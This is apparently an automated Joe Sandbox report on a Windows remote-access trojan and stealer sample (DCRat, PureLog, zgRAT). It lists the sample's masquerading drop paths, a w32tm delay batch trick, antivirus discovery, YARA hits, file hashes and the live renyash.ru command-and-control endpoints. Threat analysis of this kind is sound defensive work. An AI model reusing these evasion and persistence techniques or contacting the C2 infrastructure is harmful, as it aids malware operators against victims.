Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 595092	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 594981	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 594870	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 594764	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 594647	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 594390	Jump to behavior

Source: w32tm.exe, 00000004.00000002.1747155063.00000295F56D9000.00000004.00000020.00020000.00000000.sdmp, GqjiKlwarV.exe, 00000005.00000002.4130314798.000000001AEAC000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\GqjiKlwarV.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\GqjiKlwarV.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\Oo9wa5O04T.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe "C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe"	Jump to behavior

Source: GqjiKlwarV.exe, 00000005.00000002.4125015887.00000000029BE000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Queries volume information: C:\Users\user\Desktop\GqjiKlwarV.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Queries volume information: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\GqjiKlwarV.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\GqjiKlwarV.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000005.00000002.4125015887.0000000002D9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4125015887.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4125015887.0000000002C20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4125015887.0000000002717000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1695511710.000000000280B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: GqjiKlwarV.exe PID: 6756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: GqjiKlwarV.exe PID: 5740, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: GqjiKlwarV.exe, type: SAMPLE
Source: Yara match	File source: 0.0.GqjiKlwarV.exe.3b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1668508919.00000000003B2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: GqjiKlwarV.exe, type: SAMPLE
Source: Yara match	File source: 0.0.GqjiKlwarV.exe.3b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe, type: DROPPED

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000005.00000002.4125015887.0000000002D9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4125015887.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4125015887.0000000002C20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4125015887.0000000002717000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1695511710.000000000280B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: GqjiKlwarV.exe PID: 6756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: GqjiKlwarV.exe PID: 5740, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: GqjiKlwarV.exe, type: SAMPLE
Source: Yara match	File source: 0.0.GqjiKlwarV.exe.3b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1668508919.00000000003B2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: GqjiKlwarV.exe, type: SAMPLE
Source: Yara match	File source: 0.0.GqjiKlwarV.exe.3b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	12 Process Injection	231 Masquerading	OS Credential Dumping	211 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	131 Virtualization/Sandbox Evasion	Security Account Manager	131 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	12 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
GqjiKlwarV.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
GqjiKlwarV.exe	58%	Virustotal		Browse
GqjiKlwarV.exe	100%	Avira	HEUR/AGEN.1323342
GqjiKlwarV.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	100%	Avira	HEUR/AGEN.1323342
C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	100%	Avira	HEUR/AGEN.1323342
C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe	100%	Avira	HEUR/AGEN.1323342
C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\AppData\Local\Temp\Oo9wa5O04T.bat	100%	Avira	BAT/Delbat.C
C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	100%	Avira	HEUR/AGEN.1323342
C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	100%	Joe Sandbox ML
C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	100%	Joe Sandbox ML
C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe	100%	Joe Sandbox ML
C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	100%	Joe Sandbox ML
C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	100%	Joe Sandbox ML
C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Music\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat

Source	Detection	Scanner	Label
http://101349cm.renyash.ru/	100%	Avira URL Cloud	malware
http://101349cm.renyash.ru/VideovmGamedefaultTestuniversalwp.php	100%	Avira URL Cloud	malware
http://101349cm.renyash.ru	100%	Avira URL Cloud	malware
http://101349cm.renyash.ruX	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
101349cm.renyash.ru	104.21.38.84	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://101349cm.renyash.ru/VideovmGamedefaultTestuniversalwp.php	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://101349cm.renyash.ruX	GqjiKlwarV.exe, 00000005.00000002.4125015887.00000000029BE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://101349cm.renyash.ru	GqjiKlwarV.exe, 00000005.00000002.4125015887.0000000002D9B000.00000004.00000800.00020000.00000000.sdmp, GqjiKlwarV.exe, 00000005.00000002.4125015887.0000000002717000.00000004.00000800.00020000.00000000.sdmp, GqjiKlwarV.exe, 00000005.00000002.4125015887.00000000029BE000.00000004.00000800.00020000.00000000.sdmp, GqjiKlwarV.exe, 00000005.00000002.4125015887.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, GqjiKlwarV.exe, 00000005.00000002.4125015887.0000000002C20000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	GqjiKlwarV.exe, 00000000.00000002.1695511710.00000000030C8000.00000004.00000800.00020000.00000000.sdmp, GqjiKlwarV.exe, 00000005.00000002.4125015887.0000000002717000.00000004.00000800.00020000.00000000.sdmp	false		high
http://101349cm.renyash.ru/	GqjiKlwarV.exe, 00000005.00000002.4125015887.0000000002717000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.38.84	101349cm.renyash.ru	United States		13335	CLOUDFLARENETUS	true
172.67.220.198	unknown	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583026
Start date and time:	2025-01-01 15:16:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	GqjiKlwarV.exe renamed because original name is a hash value
Original Sample Name:	e89c7ecf60bbe2efc1810303234a09b8.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@11/20@1/2
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target GqjiKlwarV.exe, PID 5740 because it is empty
Execution Graph export aborted for target GqjiKlwarV.exe, PID 6756 because it is empty
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:17:06	API Interceptor	13145258x Sleep call for process: GqjiKlwarV.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.38.84	1znAXdPcM5.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	891781cm.renyash.ru/ProcessorServerdefaultsqltrafficuniversalwpprivate.php
	YGk3y6Tdix.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	250345cm.renyash.ru/sqltemp.php
	U1jaLbTw1f.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	891781cm.renyash.ru/ProcessorServerdefaultsqltrafficuniversalwpprivate.php
	ZZ2sTsJFrt.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	048038cm.renyash.ru/pipepacketprocessGeneratordownloads.php
	67VB5TS184.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	649521cm.renyash.ru/PipeToJavascriptRequestpollcpubasetestprivateTemp.php
	gkcQYEdJSO.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	749858cm.renyash.ru/javascriptrequestApiBasePrivate.php
172.67.220.198	F3ePjP272h.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	328579cm.renyash.ru/VmMulti.php
172.67.220.198	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	749858cm.renyash.ru/javascriptrequestApiBasePrivate.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	1znAXdPcM5.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	YGk3y6Tdix.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	https://mmm.askfollow.us/#CRD	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://l.instagram.com/?0bfd7a413579bfc47b11c1f19890162e=f171d759fb3a033e4eb430517cad3aef&e=ATP3gbWvTZYJbEDeh7rUkhPx4FjctqZcqx8JLHQOt3eCFNBI8ssZ853B2RmMWetLJ63KaZJU&s=1&u=https%3A%2F%2Fbusiness.instagram.com%2Fmicro_site%2Furl%2F%3Fevent_type%3Dclick%26site%3Digb%26destination%3Dhttps%253A%252F%252Fwww.facebook.com%252Fads%252Fig_redirect%252F%253Fd%253DAd8U5WMN2AM7K-NrvRBs3gyfr9DHeZ3ist33ENX9eJBJWMRBAaOOij4rbjtu42P4dXhL8YyD-jl0LZtS1wkFu-DRtZrPI1zyuzAYXXYv3uJfsc2GuuhHJZr0iVcLluY7-XzYStW8tPCtY7q5OaN0ZR5NezqONJHNCe212u1Fk3V5I6c8mMsj53lfF9nQIFCpMtE%2526a%253D1%2526hash%253DAd_y5usHyEC86F8X	Get hash	malicious	Unknown	Browse	104.26.13.60
	https://t.co/YjyGioQuKT	Get hash	malicious	Unknown	Browse	104.21.64.1
	6a7e35.msi	Get hash	malicious	Unknown	Browse	104.21.32.1
	http://tracking.b2bmktvault.com/tracking/click?d=qPk_c18mu4tAnpVkjkvM74XnWEgCEJFMr0kmnRaZVETZIbfUm-V7axMnjqAoCLnqzaVyNRK36FUkPva8vnzGVvH9cqu1JpLb-vxN3FkjjYhK51_3JrkS14Hcuqb1FOJE1bnSPADYUAMl8knPwYz7btXcOUX9DY4_AjytTbLRGEQ0R8vUhh6vaa-KBtd0YdWGVJFQli_mKczqrYpzYk33dCMwBXQR8R8u2JajJsC51OFcIlRSs_l3i1d9MQf5ZYWuxV_Ytx1pTi2iUY6P97JH0U81	Get hash	malicious	Unknown	Browse	188.114.97.3
	http://tracking.b2bmktvault.com/tracking/click?d=qPk_c18mu4tAnpVkjkvM74XnWEgCEJFMr0kmnRaZVETZIbfUm-V7axMnjqAoCLnqzaVyNRK36FUkPva8vnzGVvH9cqu1JpLb-vxN3FkjjYhK51_3JrkS14Hcuqb1FOJE1bnSPADYUAMl8knPwYz7btXcOUX9DY4_AjytTbLRGEQ0R8vUhh6vaa-KBtd0YdWGu732v1MZ_EelGtWldAkkdtYGfnD-GIQEN8fgQfvllyKpzr3-J0fwpuBZsUPy3J_TvPM8sfKRevcMTcDv6eAynng1	Get hash	malicious	Unknown	Browse	188.114.97.3
	OXoeX1Ii3x.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	OXoeX1Ii3x.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
CLOUDFLARENETUS	1znAXdPcM5.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	YGk3y6Tdix.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	https://mmm.askfollow.us/#CRD	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://l.instagram.com/?0bfd7a413579bfc47b11c1f19890162e=f171d759fb3a033e4eb430517cad3aef&e=ATP3gbWvTZYJbEDeh7rUkhPx4FjctqZcqx8JLHQOt3eCFNBI8ssZ853B2RmMWetLJ63KaZJU&s=1&u=https%3A%2F%2Fbusiness.instagram.com%2Fmicro_site%2Furl%2F%3Fevent_type%3Dclick%26site%3Digb%26destination%3Dhttps%253A%252F%252Fwww.facebook.com%252Fads%252Fig_redirect%252F%253Fd%253DAd8U5WMN2AM7K-NrvRBs3gyfr9DHeZ3ist33ENX9eJBJWMRBAaOOij4rbjtu42P4dXhL8YyD-jl0LZtS1wkFu-DRtZrPI1zyuzAYXXYv3uJfsc2GuuhHJZr0iVcLluY7-XzYStW8tPCtY7q5OaN0ZR5NezqONJHNCe212u1Fk3V5I6c8mMsj53lfF9nQIFCpMtE%2526a%253D1%2526hash%253DAd_y5usHyEC86F8X	Get hash	malicious	Unknown	Browse	104.26.13.60
	https://t.co/YjyGioQuKT	Get hash	malicious	Unknown	Browse	104.21.64.1
	6a7e35.msi	Get hash	malicious	Unknown	Browse	104.21.32.1
	http://tracking.b2bmktvault.com/tracking/click?d=qPk_c18mu4tAnpVkjkvM74XnWEgCEJFMr0kmnRaZVETZIbfUm-V7axMnjqAoCLnqzaVyNRK36FUkPva8vnzGVvH9cqu1JpLb-vxN3FkjjYhK51_3JrkS14Hcuqb1FOJE1bnSPADYUAMl8knPwYz7btXcOUX9DY4_AjytTbLRGEQ0R8vUhh6vaa-KBtd0YdWGVJFQli_mKczqrYpzYk33dCMwBXQR8R8u2JajJsC51OFcIlRSs_l3i1d9MQf5ZYWuxV_Ytx1pTi2iUY6P97JH0U81	Get hash	malicious	Unknown	Browse	188.114.97.3
	http://tracking.b2bmktvault.com/tracking/click?d=qPk_c18mu4tAnpVkjkvM74XnWEgCEJFMr0kmnRaZVETZIbfUm-V7axMnjqAoCLnqzaVyNRK36FUkPva8vnzGVvH9cqu1JpLb-vxN3FkjjYhK51_3JrkS14Hcuqb1FOJE1bnSPADYUAMl8knPwYz7btXcOUX9DY4_AjytTbLRGEQ0R8vUhh6vaa-KBtd0YdWGu732v1MZ_EelGtWldAkkdtYGfnD-GIQEN8fgQfvllyKpzr3-J0fwpuBZsUPy3J_TvPM8sfKRevcMTcDv6eAynng1	Get hash	malicious	Unknown	Browse	188.114.97.3
	OXoeX1Ii3x.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	OXoeX1Ii3x.exe	Get hash	malicious	Unknown	Browse	188.114.97.3

Process:	C:\Users\user\Desktop\GqjiKlwarV.exe
File Type:	ASCII text, with very long lines (700), with no line terminators
Category:	dropped
Size (bytes):	700
Entropy (8bit):	5.889967417767499
Encrypted:	false
SSDEEP:	12:Ck+sPw2/HEvdTCEovNHxvIhj0X0cn7yMCoI6G2r+3RbLtV2quenIRJ/xsWTZjvP:Ck+sR/HY+ZHxuj0ioIfhPtV2HzRJ5bVX
MD5:	99DD892C3F94A7BB7F4317CFFB822CC5
SHA1:	1E5E23A12750E53E11E9563C3AE9562D32484034
SHA-256:	4041E6D0A396B47D4A068792237C7AA25B76D9F5AB74C764A7A2A9FCA9BAA2A8
SHA-512:	47447025ED1B06AA68DEF120F8F6EDF52109C846387B3D04BB7E5B769977EB09EB2BC1C420B4DC3D1FA0BE66969995AFF8A1C99598F865B86C1FFD8E1FD73035
Malicious:	false
Reputation:	low
Preview:	7PFGAkwDOUlxPSazsTZHypL8s88WMBMpQ1mBf4agfxlN1HRAqm6MWx2RDHYBla1NI5gXqZUy32lBD8Gkr7pjE9Sd8V7XgY5E5YE5l3URRITdL1OFAxUnvRIInDYUc6Rf7hFp3K9xnYS6qyRGG2XsDRTnP5She9zU0xgoviLzxgAW9McyvRNjjibqNcZ82cTnj7F2SmVirh5gQ6oDdewMvPvRWzbTJM7VNXxCHjgI6p2Cn5aQxWeXpG1TLxgcLBYejkS2Jl548nPFWsobZKfxrjpHfd0UCD65RYcDmhHMakZB0v6dJFCBflwA4LXpvl14qUy8Qky2DTWHJnQuhXK7A5ZqmcJaJcbytfUg78MiQK7MOp0Q5mIXa34v4HWxbXsl2hXoStwiKmr07Nb7m2fhUDY0ljmzmYG2bWTqRL7L0jMyMDxqqZLj2LRyJhDtH76wgyYl3vpa4Tqu1kohw6JNMgAQFfhtHOE2naRXpMw4tvoieg7j3g6Kysj9yIfYO5SqOxGaSQ1kJOeb2bvji70lR3E51SigqYqxc7UqagRmoWBjOHGXX6zQFrZUtLjAsV3vhq84GEIBqN642fqtLLJuiarui97O7Q4TdPBhIMQSxyj1vebNf0ygLINH9OVGG4EZTnbmdIk8407t0z9EittGcXHUC3i41KL2tKiICyuWPzmULdRJORiXK775fHkj

C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe

Download File

Process:	C:\Users\user\Desktop\GqjiKlwarV.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1645568
Entropy (8bit):	7.422607269772843
Encrypted:	false
SSDEEP:	24576:CfD6aorNjmLtxcRpaRmfplskec44cYbHVxSiAt0zpkDcCHBCZ5B67Uh:CK48Kkeb4cGsiuWe1Yj
MD5:	E89C7ECF60BBE2EFC1810303234A09B8
SHA1:	006B2456B3A17D04AF3FB580BC1BC788D5F0226B
SHA-256:	B80802D899F1ED795A429F20C3ED6C7CE7EAD5EEB5B62663EDB2663A5DE4A86C
SHA-512:	3436099C312AA1E37759E1CB501880E77190C0D969367EE86FC1312978D2275434D5B1F06F1F95F0E914532CB4911F5FDDD995FF4417B270235C4EC0AC54AD41
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....(og.............................3... ...@....@.. ....................................@..................................3..K....@.. ....................`....................................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@....reloc.......`......................@..B.................3......H............................O...2.......................................0..........(.... ........8........E.......9...........8%...(.... ....~....{....:....& ....8....(.... ....8....(.... ....~....{....9....& ....8........0..'....... ........8........E........k...{...5...............8....r...ps....z*8.... ....~....{....:....& ....8....~....(P... .... .... ....s....~....(T....... ....8t......... ....8d...8.... ....~....{....:K...& ....8@...~....9.... ....8,.......~....(X...

C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\GqjiKlwarV.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\6d22e1040d7195

Download File

Process:	C:\Users\user\Desktop\GqjiKlwarV.exe
File Type:	ASCII text, with very long lines (638), with no line terminators
Category:	dropped
Size (bytes):	638
Entropy (8bit):	5.886576732970299
Encrypted:	false
SSDEEP:	12:SqNA1VvHGSD+W+hIam6ig9l4fdaAleMxkKs3WPHWcWF2Ll6G:SqNA1xGq+W+rmfg9lrArko2nF2z
MD5:	4280078AEBC2D33BD41B6C1D0F78F229
